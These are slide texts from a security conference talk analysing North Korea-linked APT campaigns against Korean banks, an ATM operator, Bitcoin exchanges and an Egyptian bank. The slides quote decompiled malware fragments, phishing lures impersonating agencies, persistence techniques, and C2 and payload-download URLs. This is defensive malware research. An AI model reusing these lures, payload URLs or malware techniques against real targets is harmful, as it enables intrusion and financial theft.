NATION-STATE MONEYMULE’S HUNTING SEASON

APT ATTACKS TARGETING FINANCIAL INSTITUTIONS

Chi-en (Ashley) Shen & Kyoung-ju Kwak & Min-Chang Jang
CHI-EN Shen (Ashley)

Independent Researcher

- From Taiwan!
- Co-founder of HITCON GIRLS
- Focusing on APT research, malware analysis and threat intelligence
- Frequent speaker at infosec conference

email: ashley@hitcon.org

@ashley_shen_920
MIN-CHANG JANG (MC)

KOREA FINANCIAL SECURITY INSTITUTE & KOREA UNIVERSITY

- Manager of Threat Analysis Team
- Co-author of Threat Intelligence Report “Campaign Rifle: Andariel, The Maiden of Anguish”
- Graduate student pursuing a major in cyber warfare at SANE (Security Analysis aNd Evaluation) Lab. (Supervisor: Prof. Seungjoo Kim), Korea University.
- Served Korean Navy CERT for over 2 years

null@fsec.or.kr
@051R15
KYOUNG-JU KWAK

Korea Financial Security Institute

- Manager of Threat Analysis Team
- Author of Threat Intelligence Report “Campaign Rifle: Andariel, The Maiden of Anguish”
- Member of National Police Agency Cybercrime Advisory Committee
- Speaker of {PACSEC, HITCON, HACKCON, ISCR, Kaspersky Cyber Security Weekend, etc}

kjkwak@fsec.or.kr

@kjkwak12
• BACKGROUND

• THE MALWARES AND ATTACK CASES FROM LAZARUS, BLUENOROFF, ANDARIEL AND REAPER

• RECENT CHANGE & DISCOVERY

• TTP & KEY FINDING

• CONCLUSION & BLACK HAT SOUND BYTES
BACKGROUND

Some backgrounds and related works
Our observation shows that some nation-state actors are shifting their focus to join the battle field of moneymule in the past few years.
## BACKGROUND – who are they?

<table>
<thead>
<tr>
<th></th>
<th>Lazarus</th>
<th>Bluenoroff</th>
<th>Andariel</th>
<th>Reaper (aka APT37, Group123, Scarcruft, Geumseong121)</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Targeted Industry</strong></td>
<td>Domestic government, finance, broadcasting</td>
<td>Global and domestic financial institutes</td>
<td>Domestic financial institutes, IT companies and large corporations. Defense industry</td>
<td>Financial institutes, Human Rights, South Korean users</td>
</tr>
<tr>
<td><strong>Purpose</strong></td>
<td>Social chaos</td>
<td>Financial profit motivation</td>
<td>Information gathering</td>
<td>Information gathering</td>
</tr>
<tr>
<td><strong>Historical major incidents</strong></td>
<td>• 2009 7.7 DDoS attack on US and South Korea</td>
<td>• 2015-2016 SWIFT banking attack</td>
<td>• 2015 Attack Defense industry</td>
<td>• 2016 Operation Erebus</td>
</tr>
<tr>
<td></td>
<td>• 2011 DDoS attack in South Korea</td>
<td>• 2017 Polish financial supervisory authority</td>
<td>• 2016 Attack on cyber command center</td>
<td>• 2016 Operation Daybreak</td>
</tr>
<tr>
<td></td>
<td>• 2013 320 DarkSeoul</td>
<td>• 2017 South Korea Bitcoin companies</td>
<td>• 2017 South Korea ATM breach</td>
<td>• 2018 Flash 0-Day CVE-2018-4878 Campaign</td>
</tr>
<tr>
<td></td>
<td>• 2014 Sony Picture Entertainment breach</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>2018 APT37 - FireEye</td>
</tr>
</tbody>
</table>
BACKGROUND – Activity Timeline

- **2016/02**
  - **Bangladesh** Bank Heist
  - South Korea Conglomerates Hacked

- **2016/08**
  - South Korea Ministry of National Defense Hacked

- **2017/02**
  - Watering hole on **Polish** Financial Supervision Authority website to target 100+ banks in **Europe**

- **2017/03**
  - South Korea ATM company hacked

- **2017/05**
  - WannaCry Ransomware attack
  - South Korea Labour Unions Websites Hacked
  - South Korea Bithumb Bitcoin Exchange Hacked

- **2017/07**
  - South Korea Korbit Bitcoin Exchange Hacked

- **2017/09**
  - South Korea Largest Travel Agency Hanatour Hacked

- **2017/10**
  - Taiwan Far Eastern International Bank Heist

- **2018/02**
  - CVE-2018-4878 0-day disclosed leveraged by Reaper to attack financial sector
THE MALWARES AND ATTACK CASES

from Lazarus, Bluenoroff and Andariel
• KOREA MAJOR BANK ATTACK BY BLUENOROFF
• ATM OPERATOR COMPANY BREACH a.k.a VANXATM
• BITCOIN EXCHANGES HACKED
• INTERESTING ATTACK TARGETED BANK IN EGYPT
KOREA MAJOR BANK ATTACK BY BLUENOROFF - Background

• Time:
  • In March, 2017

• Target:
  • One of Top 5 Banks in South Korea
  • Employees of the bank (in charge of SWIFT system)

• Vulnerability:
  • File sharing function in VDI program (it was a 0 day during that time)

• Damage:
  • No severe damage due to the rapid detection
  • 2 PCs infected
KOREA MAJOR BANK ATTACK BY BLUENOROFF - Malware

- The vulnerability – The Named Pipe file sharing feature in VDI

<Architectural overview of Host-Guest Communication Channel with named pipe>
Network Environment

Employee’s PC
for internal network use only
Computer Name Start with “pb”

Employee’s PC
For accessing the internet
(Virtual Machine)

Named Pipe

Vlan A
(with critical data)
(not connect to WAN)

Vlan B
(Connect to WAN)

Spear-phishing
Emails

Critical Data
stolen

C2 server

attacker

KOREA MAJOR BANK ATTACK BY BLUENOROFF – Attack Vector
Evidence in the malware

VDI Software manufacturer insisted that File Sharing functionality via NamedPipe was disabled.

However, it was just hidden.

So attackers were able to use this functionality.
KOREA MAJOR BANK ATTACK BY BLUENOROFF - Malware

• Malwares
  • Family:
    • Manuscript (file name: corems.dll, amanuv.dll)

• Features :
  1. Searching in the internal network for some specific hosts related to SWIFT network.
  2. Activate NamedPipe of specific process (vmsal.exe)
     ➢ vmsal.exe : management process of virtual machine’s segregation program
     ➢ Stealing data from internal segregated network by using hidden NamedPipe file sharing feature
  3. Look for desired data and send them to C&C Server
KOREA MAJOR BANK ATTACK BY BLUENOROFF - Malware

- Malwares (corems.dll, amanuv.dll)

```cpp
if (!SetNamedPipeHandle_10006460(0))
    // handle error...
    !ConnectNamedPipe(PipeHandle, 0) && GetLastError() != 0x217 )
{
    return 0;
}
while (1)
{
    v1 = ReadNamedPipe_10006620() - 0x835;
    if (!v1)
    {
        result = WriteFileToPipe_10008A80();
        goto LABEL_9;
    }
```

NamedPipe Set -> Connect -> Read -> Write
• Malwares (corems.dll, amanuv.dll)

Get NamedPipe Handle

<table>
<thead>
<tr>
<th>Mode</th>
<th>Meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>PIPE_READMODE_BYTE 0x00000000</td>
<td>Data is read from the pipe as a stream of bytes.</td>
</tr>
</tbody>
</table>

Set NamedPipe Handle State with Mode 0x0
• Malwares (corems.dll, amanuv.dll)

Search specific files and write the result with following the special structure
• Malwares (corems.dll, amanuv.dll)

 Flag
 If (IsDirectory) :
   flag = "GY"
 Else:
   flag = "FZ"

 EOF (End of File) Flag
 If (EOF) :
   eof_flag = "**;"
KOREA MAJOR BANK ATTACK BY BLUENOROFF - Malware

- Malwares (corems.dll, amanuv.dll)

C&C Configuration

C&C IPs hidden inside Registry Value
KOREA MAJOR BANK ATTACK BY BLUENOROFF - Malware

- Data sent to C2 server

**Encoded String**

```c
signed int sub_10002A00()
{
    sub_10002B08("Cxewxckrxw: ttey-arume");
    sub_10002B08("Cxewxck-kuygh: ");
    sub_10002B08("Cache-Cxeixu: vao-age=0");
    sub_10002B08("Accey: */*");
    sub_10002B08("Cxewk-Kpye: vulkryalx/fxiv-daka; bxlwdaip=");
    sub_10002B08("Accey-Ecmxrdw: gzy defualke,jdch");
    sub_10002B08("Accey-Uswglage: tx-TI");
    sub_10002B08("Cxewk-Deryxykxr: fxiv-daka; wave="bx1d_rdi"");
    sub_10002B08("Cxewk-Deryxykxr: fxiv-daka; wave="lle1_rdi"");
    sub_10002B08("Cxewk-Deryxykxr: fxiv-daka; wave="frue1I"; fruwave="rvg01_29.sgvl"");
    sub_10002B08("Cxewk-Deryxykxr: fxiv-daka; wave="frue1I"; fruwave="vpx6cxl"");
    sub_10002B08("Cxewk-Deryxykxr: fxiv-daka; wave="frue1I"; fruwave="yakrcv.ydfv"");
    sub_10002B08("Cxewk-Deryxykxr: fxiv-daka; wave="frue1I"; fruwave="trmg.ygyl"");
    sub_10002B08("Cxewk-Deryxykxr: fxiv-daka; wave="frue1I"; fruwave="dlieav.amrl"");
    sub_10002B08("Cxewk-Deryxykxr: fxiv-daka; wave="frue1I"; fruwave="hyl01.amrl"");
    sub_10002B08("Cxewk-Deryxykxr: fxiv-daka; wave="frue1I"; fruwave="jka1.amrl"");
    sub_10002B08("Cxewk-Deryxykxr: fxiv-daka; wave="frue1I"; fruwave="jka1.amrl"");
    sub_10002B08("Cxewk-Kpye: ayuyrakrxr/xcck-jkteav");
    return 1;
}
```

**Decoding Function**

```c
sprint("%v6, "%s", a2);
    v2 = &v6;
    if (v6)
        do
            v3 = *v2;
            if ( v2 < 'i' || v3 > 'p' )
                goto LABEL_12;
            if ( v3 < 'r' && v3 < 'y' )
                goto LABEL_12;
            if ( v3 < 'r' || v3 > 'y' )
                goto LABEL_14;
        goto LABEL_12;
        v4 = v3 - 9;
        goto LABEL_13;
    else
        v4 = v3 + 9;
        LABEL_13:
        v2 = v4;
        LABEL_14:
        ++v2;
    while ( *v2 );
    sprint(a1, "%s", &v6);
```

**Decoded String**

Accept: */*;
Content-Type: multipart/form-data; boundary=
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ko-KR
Content-Disposition: form-data; name="board_id"
Content-Disposition: form-data; name="user_id"
Content-Disposition: form-data; name="file1"; filename="img01_29.jpg"
Content-Disposition: form-data; name="file1"; filename="my.doc"
Content-Disposition: form-data; name="file1"; filename="pratice.pdf"
Content-Disposition: form-data; name="file1"; filename="king.jpg"
Content-Disposition: form-data; name="file1"; filename="dream.avi"

......
• KOREA MAJOR BANK ATTACK FROM BLUENOROFF

• ATM OPERATOR COMPANY BREACH a.k.a VANXATM FROM ANDARIEL

• BITCOIN EXCHANGES HACKED FROM BLUENOROFF

• INTERESTING ATTACK TARGETED BANK IN EGYPT FROM REAPER
VANXATM - ATM OPERATOR COMPANY BREACH

• Operation started from Feb. 2015 (Actual information leakage in March 2017)
• Target: ATM Operator Company (provide and manage 2000 ATM SK)
• Used vulnerability
  • 0 day in antivirus program
  • Misconfiguration and management between ATM machines and ATM update server

• Attribution
  • Andareil Group

• Damage
  • the number of leaked card information (Sept, 2016 ~ Feb, 2017)
  => Total 1.9m (After deduplication 230k)
VANXATM - ATM OPERATOR COMPANY BREACH
VANXATM - ATM OPERATOR COMPANY BREACH

- Process flow of VANXATM

Attacker

Internet

AV Server

0 day exploit

Remote File Transfer & Remote command exec

 Inside ATM company

ATM Update Server With FTP server

No authentication to update files

Update malware

60+ ATM Infected

Unencrypted FTP Account & password Stored on ATM machine

Card Information Leakage
VANXATM - ATM OPERATOR COMPANY BREACH

- Exploit tool (fs.exe)
  - Scan antivirus server’s service port
  - Connect to the server
  - Send file
  - Run file
VANXATM - ATM OPERATOR COMPANY BREACH

• VAN_XATM.exe (Dropper Type A)

```c
v4 = fopen("c:\Windows\Temp\javaupdate.exe", "wb");
Sleep(0x3E8u);
if (v4
& (fwrite(bunk_4DDEB0, 0x108A0u, 1u, v4),
fclose(v4),
memset(&StartupInfo.lpReserved, 0, 0x40u),
ProcessInformation.hProcess = 0,
ProcessInformation.hThread = 0,
ProcessInformation.dwProcessId = 0,
ProcessInformation.dwThreadId = 0,
StartupInfo.cb = 68,
sprintf(&CommandLine, "%s %s", "c:\Windows\Temp\javaupdate.exe", &Filename),
v6 = fopen("c:\Windows\Temp\java.exe", "wb"),
Sleep(0x64u),
v6 )
{
fwrite(bunk_5E68B0, 0x1080u, 1u, v6);
fclose(v6);
Sleep(0x64u);
CreateProcessA(0, "c:\Windows\Temp\java.exe" 0, 0, 1, 0, 0, &StartupInfo, &ProcessInformation)
Sleep(0x64u);
result = CreateProcessA(0, &CommandLine, 0, 0, 1, 0, 0, &StartupInfo, &ProcessInformation);
}
```

Dropping java.exe (RAT) & javaupdate.exe (legit ATM program)

PDB Path

```
F:\Work\card\VAN_XATM\Release\VAN_XATM.pdb
```
**VANXATM - ATM OPERATOR COMPANY BREACH**

- Suspicious files discovered from VANXATM C&C Server

<table>
<thead>
<tr>
<th>이름</th>
<th>생성일</th>
<th>수정일</th>
<th>크기</th>
</tr>
</thead>
<tbody>
<tr>
<td>0904CHVA.100</td>
<td>2016년 9월 4일 오후 11:39</td>
<td>2016년 9월 4일 오후 11:39</td>
<td>1.1MB</td>
</tr>
<tr>
<td>0904CHVA.000</td>
<td>2016년 9월 4일 오후 11:40</td>
<td>2016년 9월 4일 오후 11:40</td>
<td>237KB</td>
</tr>
<tr>
<td>0905.100</td>
<td>2016년 9월 5일 오전 3:58</td>
<td>2016년 9월 5일 오전 3:58</td>
<td>72바이트</td>
</tr>
<tr>
<td>0905CHVA.100</td>
<td>2016년 9월 5일 오후 10:35</td>
<td>2016년 9월 5일 오후 10:35</td>
<td>512KB</td>
</tr>
<tr>
<td>0905CHVA.000</td>
<td>2016년 9월 5일 오후 10:35</td>
<td>2016년 9월 5일 오후 10:35</td>
<td>124KB</td>
</tr>
<tr>
<td>0906CHVA.000</td>
<td>2016년 9월 6일 오후 11:59</td>
<td>2016년 9월 6일 오후 11:59</td>
<td>227KB</td>
</tr>
<tr>
<td>0906CHVA.100</td>
<td>2016년 9월 7일 오전 12:00</td>
<td>2016년 9월 7일 오전 12:00</td>
<td>847KB</td>
</tr>
<tr>
<td>0907.100</td>
<td>2016년 9월 7일 오전 3:58</td>
<td>2016년 9월 7일 오전 3:58</td>
<td>72바이트</td>
</tr>
<tr>
<td>0907CHVA.100</td>
<td>2016년 9월 7일 오후 11:34</td>
<td>2016년 9월 7일 오후 11:34</td>
<td>766KB</td>
</tr>
<tr>
<td>0907CHVA.000</td>
<td>2016년 9월 7일 오후 11:34</td>
<td>2016년 9월 7일 오후 11:34</td>
<td>192KB</td>
</tr>
<tr>
<td>0908CHVA.100</td>
<td>2016년 9월 8일 오후 11:45</td>
<td>2016년 9월 8일 오후 11:45</td>
<td>598KB</td>
</tr>
<tr>
<td>0908CHVA.000</td>
<td>2016년 9월 8일 오후 11:45</td>
<td>2016년 9월 8일 오후 11:45</td>
<td>136KB</td>
</tr>
<tr>
<td>0909.100</td>
<td>2016년 9월 9일 오전 3:53</td>
<td>2016년 9월 9일 오전 3:53</td>
<td>72바이트</td>
</tr>
<tr>
<td>0909CHVA.000</td>
<td>2016년 9월 9일 오전 11:57</td>
<td>2016년 9월 9일 오전 11:57</td>
<td>222KB</td>
</tr>
<tr>
<td>0909CHVA.100</td>
<td>2016년 9월 10일 오전 12:00</td>
<td>2016년 9월 10일 오전 12:00</td>
<td>1.3MB</td>
</tr>
<tr>
<td>0910CHVA.000</td>
<td>2016년 9월 10일 오후 11:59</td>
<td>2016년 9월 10일 오후 11:59</td>
<td>170KB</td>
</tr>
<tr>
<td>0910CHVA.100</td>
<td>2016년 9월 10일 오후 11:59</td>
<td>2016년 9월 10일 오후 11:59</td>
<td>1MB</td>
</tr>
<tr>
<td>0911.100</td>
<td>2016년 9월 11일 오전 3:53</td>
<td>2016년 9월 11일 오전 3:53</td>
<td>72바이트</td>
</tr>
<tr>
<td>0911CHVA.100</td>
<td>2016년 9월 11일 오후 11:22</td>
<td>2016년 9월 11일 오후 11:22</td>
<td>1.1MB</td>
</tr>
<tr>
<td>0911CHVA.000</td>
<td>2016년 9월 11일 오후 11:23</td>
<td>2016년 9월 11일 오후 11:23</td>
<td>182KB</td>
</tr>
</tbody>
</table>
• KOREA MAJOR BANK ATTACK FROM BLUENOROFF

• ATM OPERATOR COMPANY BREACH a.k.a VANXATM FROM ANDARIEL

• BITCOIN EXCHANGES HACKED FROM BLUENOROFF

• INTERESTING ATTACK TARGETED BANK IN EGYPT FROM REAPER
# BITCOIN EXCHANGES HACKING CAMPAIGN

- Trading volume of major Bitcoin Exchanges in South Korea
  - ‘C’ is the first char of Bitcoin Exchanges that is used for many company names

<table>
<thead>
<tr>
<th>Incorporation</th>
<th>B</th>
<th>C#1</th>
<th>C#2</th>
<th>C#3</th>
</tr>
</thead>
<tbody>
<tr>
<td>Number of employee</td>
<td>Around 150</td>
<td>Around 80</td>
<td>Around 60</td>
<td>Around 20</td>
</tr>
<tr>
<td>Number of coin type</td>
<td>10</td>
<td>7</td>
<td>5</td>
<td>12</td>
</tr>
<tr>
<td>Transaction Amount per day (17.11.21. USD)</td>
<td>735 million</td>
<td>84 million</td>
<td>120 million</td>
<td>29 million</td>
</tr>
</tbody>
</table>
Four Bitcoin Exchanges were attacked
Attacker impersonates the public institutes for phishing
  • Public Prosecutors' Office, National Police Agency, Financial Security Institute, Major Bank, etc.
They used nine email accounts for attack
  • 4 out of 9 were stolen email accounts, and 5 were confirmed created by the attacker
  • Mobile malware was deployed to bypass SMS authentication.
    • Palo Alto - Operation Blockbuster Goes Mobile
    • McAfee - Lazarus Cybercrime Group Moves to Mobile Platform
      • https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-cybercrime-group-moves-to-mobile/
    • Sample Hash: (sha256) 22a279c5685d7c3e24c04580204a8a932b2909a77a549bdd7bcf7ead285efde9
25 people received phishing emails attached with malicious HWP files during the campaign

- In Korea, HWP (Hangul Word Processor) is the most popular word processor as MS OFFICE

They used a vulnerability of Ghostscript

- Ghostscript is interpreter for postscript language
- Ghostscript is included in HWP
  - removed in a current version by vulnerability issue
- Its vulnerability could allow the arbitrary code execution
- Ghostscript can create files without vulnerability
BITCOIN EXCHANGES HACKED - Phishing Email Attack Vector

- Receive SMS verification
- infected mobile phone
- Create email account
- SMS verification to infected mobile
- attacker
- passthru server
- connect email services
- control C2 server
- C2 server
- several times sent phishing emails (07.05. ~ 08.08.)
- information gathering
- Four bitcoin exchanges (25 people targeted)
TARGETING BITCOIN EXCHANGES USERS – Before July, 2017

• A phishing email impersonated the National Tax Service
• Targeted users of Bitcoin Exchanges

Hello,

This is special tax investigation team at National Tax Service.
I attached a file that you need to prepare for tax investigation.
You have to complete preparing until 10 am, 25 May.

Thanks

[Attached a malicious hwp file]
BITCOIN EXCHANGES HACKED – Before July, 2017

• Compares with Korean Major Bank Sample

Major Bank Sample

Users of Bitcoin Exchanges Sample
BITCOIN EXCHANGES HACKED – CASE 1: IMPERSONATED as FSI

• After 2 months we found another sample related to Bitcoin Exchanges
• A phishing email impersonated the Financial Security Institute

Hello,  
We(FSI) are going to survey regarding the financial security standardization.  
I expect your active participation, so I attached a file related to the survey.  
news link : http://....  
If you have any questions, please feel free to contact me.  

Thanks,  
FSI survey manager

[Attached a malicious hwp file(2017 the financial ...)]
CASE 1: IMPERSONATED as FSI – Malicious scripts in HWP file

- We could find ps (postscript) files in BinData of malicious HWP file
- They were compressed by zlib
CASE 1: IMPERSONATED as FSI – Files

Attached

HWP malicious document

Embedded

PS
BIN0001.ps

Create/Drop

PS
BIN0002.ps

Create/Drop

PS
BIN0003.ps

HncCheck.lnk

HncBB80.bin
Trojan Downloader

Execute

Run shellcode & Decode downloader & inject into memory
CASE 1: IMPERSONATED as FSI—Postscript

• BIN0001.ps
  • It makes a shortcut at the path below
    “%temp%\..\..\..\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HncCheck.lnk”
  • HncCheck.lnk has included
    “C:\Windows\System32\rundll32.exe %temp%\..\HncBB80.bin,MainCallBack”
  • It is a trigger to execute “HncBB80.bin” when victims reboot their PCs
• BIN0002.ps will drop a binary file HncBB80.bin ➔ trojan downloader

```
(temp) getenv
{
  /p1 exch def
  /concatstrings p1 (\..\..\..\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HncCheck.lnk)
  /bb (1) def
  concatstrings (w) file /ouA exch def
```
CASE 1: IMPERSONATED as FSI – Files

Attached

HWP malicious document

Embedded

PS
BIN0001.ps

PS
BIN0002.ps

PS
BIN0003.ps

Create/Drop

HncCheck.lnk

HncBB80.bin

Create/Drop

Run shellcode
& Decode downloader &
inject into memory

Execute
CASE 1: IMPERSONATED as FSI – Postscript

- BIN0003.ps
  - If victim system has vulnerability in gs32dll.dll, it will be executed
  - It has a xor key of 4-byte-length (0x77, 0x5D, 0x11, 0x72)
  - Decoded the hex strings using xor key, then we got another postscript with shellcode
CASE 1: IMPERSONATED as FSI – Postscript vulnerability

- BIN0003.ps – (similar to CVE 2017-0261)
  - gs32dll.dll is a necessary library for handling postscript
  - postscript is processed as flow “read -> execute -> close”
  - There is a vulnerability in "close" part of the flow
  - Loads embedded PE and inject to a system process when shellcode was executed

```plaintext
100684D2 68 24612710
100684D7 56
100684D8 50
100684D9 FF02

PUSH gsdl32.10276124
PUSH ESI
PUSH EAX
CALL EDX
ASCII "s_std_close"

gsdl32.10017082

CALL ROP Chain

ROP Chain start

Shellcode will get a execution permission
```

```
75582B86 8BEC
75582B88 FF75 14
75582B8B FF75 10
75582B8E FF75 0C
75582B91 FF75 08
75582B94 6A FF
75582B96 E8 09000000
75582B9B 5D

MOV EBP,ESP
PUSH DWORD PTR SS:[EBP+14]
PUSH DWORD PTR SS:[EBP+10]
PUSH DWORD PTR SS:[EBP+8]
PUSH -1
CALL KERNEL32.VirtualProtectEx

pOldProtect .. NULL
NewProtect .. PAGE_READWRITE|PAGE_EXECUTE|PA
Size .. 0x40
Address .. 0x00001F94
hProcess .. 0xFFFFFFFF
```
CASE 1: IMPERSONATED as FSI – Agent Dropper

• When HncBB80.bin (downloader) and shellcode were executed
  • Infected system information gathering and send them to C2
  • Receives data from C2(additional file download & execution)
  • But we did not get any additional files from C2
  • C2 is https://www.[.]kbautosys[.]com
  • 115.[.]92.[.]103.[.]37

```
GET https://www.kbautosys.com/include/form/goods.asp?idx=20 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Host: www.kbautosys.com
Connection: Keep-Alive
```

```text
HTTP/1.1 404 Not Found
Date: Fri, 24 Nov 2017 17:00:37 GMT
Content-Length: 1466
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
```
Phishing Email Impersonated a National Police Officer

Hello.
This is a detective OOO at **** police station. Please check bitcoin addresses from attached excel file.
If you have any question, feel free to contact me by the following number.

Thank you.

[Attached a pdf file(Copy of identification card)]
[Attached a malicious xls file(bitcoin transaction log)]
CASE 2: IMPERSONATED as A NATIONAL POLICE OFFICER – Files

Attached

scanned ID card (benign decoy)

PDF

macro/Drop

XLS

malicious document

svchost.exe
(include another custom encoded PE downloader)
CASE 2: IMPERSONATED as A NATIONAL POLICE OFFICER – It’s not a hwp

- In this case, they used a excel file not a hwp file
- And they attached a pdf file (scanned a identification card)
  - Unknown how they got a scanned ID card image
  - Tried to increase credibility by scanned ID card
case 2: impersonated as a national police officer

- Malware functionality is same as case1 but C2 is not
  - Infected system information gathering and send them to C2
  - Receives data from C2 (additional file download & execution)
  - But we did not get any additional file from C2
  - C2 is https://www[.]unsunozo[.]org
  - 49[.]239[.]189[.]45
- KOREA MAJOR BANK ATTACK FROM BLUENOROFF
- ATM OPERATOR COMPANY BREACH a.k.a VANXATM FROM ANDARIEL
- BITCOIN EXCHANGES HACKED FROM BLUENOROFF
- INTERESTING ATTACK TARGETED POSSIBLY BANK IN EGYPT FROM REAPER
O bank is run by O group, which is based in Egypt.

O group also runs K telecom, in charge of telecommunication in NK.

Target has connection with O bank in NK and K Telecom and locate in Egypt.

O Group has shut down branch in NK in 2016 because of sanction.

Target was targeted by attacker in 2017.
We observed 2 interesting samples from target in May, 2017

Both are exploits CVE 2017-0199 DOCX documents

Upon opening the document, it connects to C&C server to download HTA file containing malicious script
Campaign targeted Egypt bank and SK banks – Delivery Method

Exploit CVE 2017-0199 download HTA Powershell script

Powershell script to download Trojan downloader, loader and script

http://foodforu.heliohost.org/blog/apache.jpg (http://old.jrchina.com/btob_asiana/appach01.jpg) save as alitmp0131.jpg

http://foodforu.heliohost.org/blog/apache_backup.jpg (http://old.jrchina.com/btob_asiana/appach02.jpg) save as alitmp0132.jpg

http://foodforu.heliohost.org/blog/apache.ipp (http://old.jrchina.com/btob_asiana/udel_ok.ipp) save as alitmp0133.js
Campaign targeted Egypt bank and SK banks – Powershell Script

Base64 decode
Campaign targeted Egypt bank and SK banks – Javascript

- The IPP file contains encoded VBScript to extract payload from fake JPG files and save as:
  - Windows-KB275122-x86.exe (trojan downloader)
  - Windows-KB271854-x86.exe (Milk loader)

```javascript
function a() {
    return new ActiveXObject(a);
}

function(b1, b2, b3, b4) {
    t1 = t + \"\\\" + b1;
    t2 = t + b2;
    s.Mode = 3;
    s.Type = 1;
    s.Open1;
    s.Position = b4;
    s.Write(s.Read);
    s.SaveToFile(t2, 2);
}

function(b1, b2, b3, b4, b5) {
    t1 = t + \"\\\" + b1;
    t2 = t + b2;
    s.Mode = 3;
    s.Type = 1;
    s.Open1;
    s.LoadFromFile(t1);
    s.Position = b4;
    s.Write(s.Read);
    s.SaveToFile(t2, 2);
}

function s() {
    return new ActiveXObject(s);
}

function a() {
    return new ActiveXObject(a);
}

function(b1, b2, b3, b4) {
    s.Mode = 3;
    s.Type = 1;
    s.Open1;
    s.LoadFromFile(t1);
    s.Position = b4;
    s.Write(s.Read);
    s.SaveToFile(t2, 2);
}
```

\[\text{C("alltmp0131.jpg", "\\Windows-KB275122-x86.exe", "help", 5651); C("alltmp0132.jpg", "\\Windows-KB271854-x86.exe", "", 5651);}\]
Campaign targeted Egypt bank and SK banks – Trojan downloader

- Named Freenki Downloader by PaloAlto
- Freenki was discovered having overlap code with ROKRAT, an malware used by Reaper.
- Need specific arguments to execute. Supporting 3 commands (script pass “help” command to execute)

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Help</td>
<td>Perform main function. Collects system information and beacon to C&amp;C server.</td>
</tr>
<tr>
<td>console</td>
<td>Setting up persistence in the registry</td>
</tr>
<tr>
<td>sample</td>
<td>Perform console command function and later perform help command function when successes.</td>
</tr>
</tbody>
</table>

```c
u4 = wcscmp(command, L"help");
if ( u4 )
    u4 = -(u4 < 0) | 1;
if ( !u4 )
    help_command_f();

v5 = wcscmp(command, L"console");
if ( v5 )
    v5 = -(v5 < 0) | 1;
if ( v5 )
{
    result = wcscmp(command, L"sample");
    if ( result )
        result = -(result < 0) | 1;
    if ( !result )
    {
        result = console_command_f();
        if ( result )
            help_command_f();
    }
} else
{
    result = console_command_f();
}
return result;
```
Campaign targeted Egypt bank and SK banks – Trojan downloader

- Convert MAC address to hex string and use as victim ID
- Collects system information and beacon to C&C server
  - Username>Computer Name>File version of kernel32.dll>IsWow64Process() > Ethernet MAC addresses>running processes

Report status | MAC Address | Encoded Victim Data
---|---|---

<table>
<thead>
<tr>
<th>Stream Content</th>
<th>MAC Address</th>
<th>Encoded Victim Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST /blog/blog_confirm.php HTTP/1.1</td>
<td></td>
<td></td>
</tr>
<tr>
<td>User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; Tablet PC 2.0; .NET4.0E; InfoPath.3)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Host: forum.foorun/heliohost.org</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Content-Length: 441</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Cache-Control: no-cache</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Encode by SUB 0F, XOR 21

<table>
<thead>
<tr>
<th>Decoded Victim Data</th>
<th>Computer Name</th>
<th>OS version</th>
<th>MAC address</th>
<th>Process list</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Campaign targeted Egypt bank and SK banks – Trojan downloader

- Download payload from another C&C and save in %Temp%
- The downloaded payload need argument “abai” to execute (abai means father in Korean dialect)

```c
format_string((int)&downloaded_file, (const char *)L"%s\%s.exe", &Temp_Path, v4);
v6 = sub_122B2C7();
v7 = v6;
if ( v6 )
{
    sub_122B1AE(v9, 1, v2, v6);
    sub_12283C7(v7);
    sub_1228496(v7);
    v14 = 0;
    _mm_store1_epi64((__m128i *)&Parameters, _mm_load1_epi64((const __m128i *)&abai));
    ShellExecuteW(0, L"open", &downloaded_file, Parameters, 0, 0);
    result = 1;
}
else
{
```

Campaign targeted Egypt bank and SK banks – Milk loader

- Named Milk loader because of the pdb string found in the binary
  - E:\\BIG_POOH\\Project\\milk\\Release\\milk.pdb (a.k.a Poohmilk by PaloAlto)
  - Sleep for 6 mins upon execute
  - Look for file “wsatra.tmp” in the %Temp% folder. (however not existed in this case)
    - If found: read the file and get a path from the file. Scanning .lnk file and ZIP in the path.
      - Extract file from ZIP and execute

```c
rdata:0041... 00000005 C 魔
rdata:0041... 0000002A C E:\BIG_POOH\Project\milk\Release\milk.pdb
rdata:0041... 00000004 C
```

```c
lstrcpyW(&FileName, L"\wsatra.tmp");   // %temp%\wsatra.tmp
v1 = CreateFileW(&FileName, 0x80000000, 1u, 0, 3u, 0x80u, 0);
result = lstrcpyW(a1, &::String2);
if ( v1 == -1 )
    return result;
wsatrp_file = operator new(0x400u);
memset(wsatrp_file, 0, 0x400u);
ReadFile(v1, wsatrp_file, 0x400u, &NumberOfBytesRead, 0);
```
Launch the downloader. Create registry “Windows Update” to set persistent of the downloader. Default command is “help”

<table>
<thead>
<tr>
<th>名稱</th>
<th>類型</th>
<th>資料</th>
</tr>
</thead>
<tbody>
<tr>
<td>ab</td>
<td>REG_SZ</td>
<td>(數值未設定)</td>
</tr>
<tr>
<td>ab\ctfmon.exe</td>
<td>REG_SZ</td>
<td>C:\WINDOWS\system32\ctfmon.exe</td>
</tr>
<tr>
<td>Windows Update</td>
<td>REG_SZ</td>
<td>C:\Documents and Settings\Administrator\Windows-KB275122-x86.exe&quot; help</td>
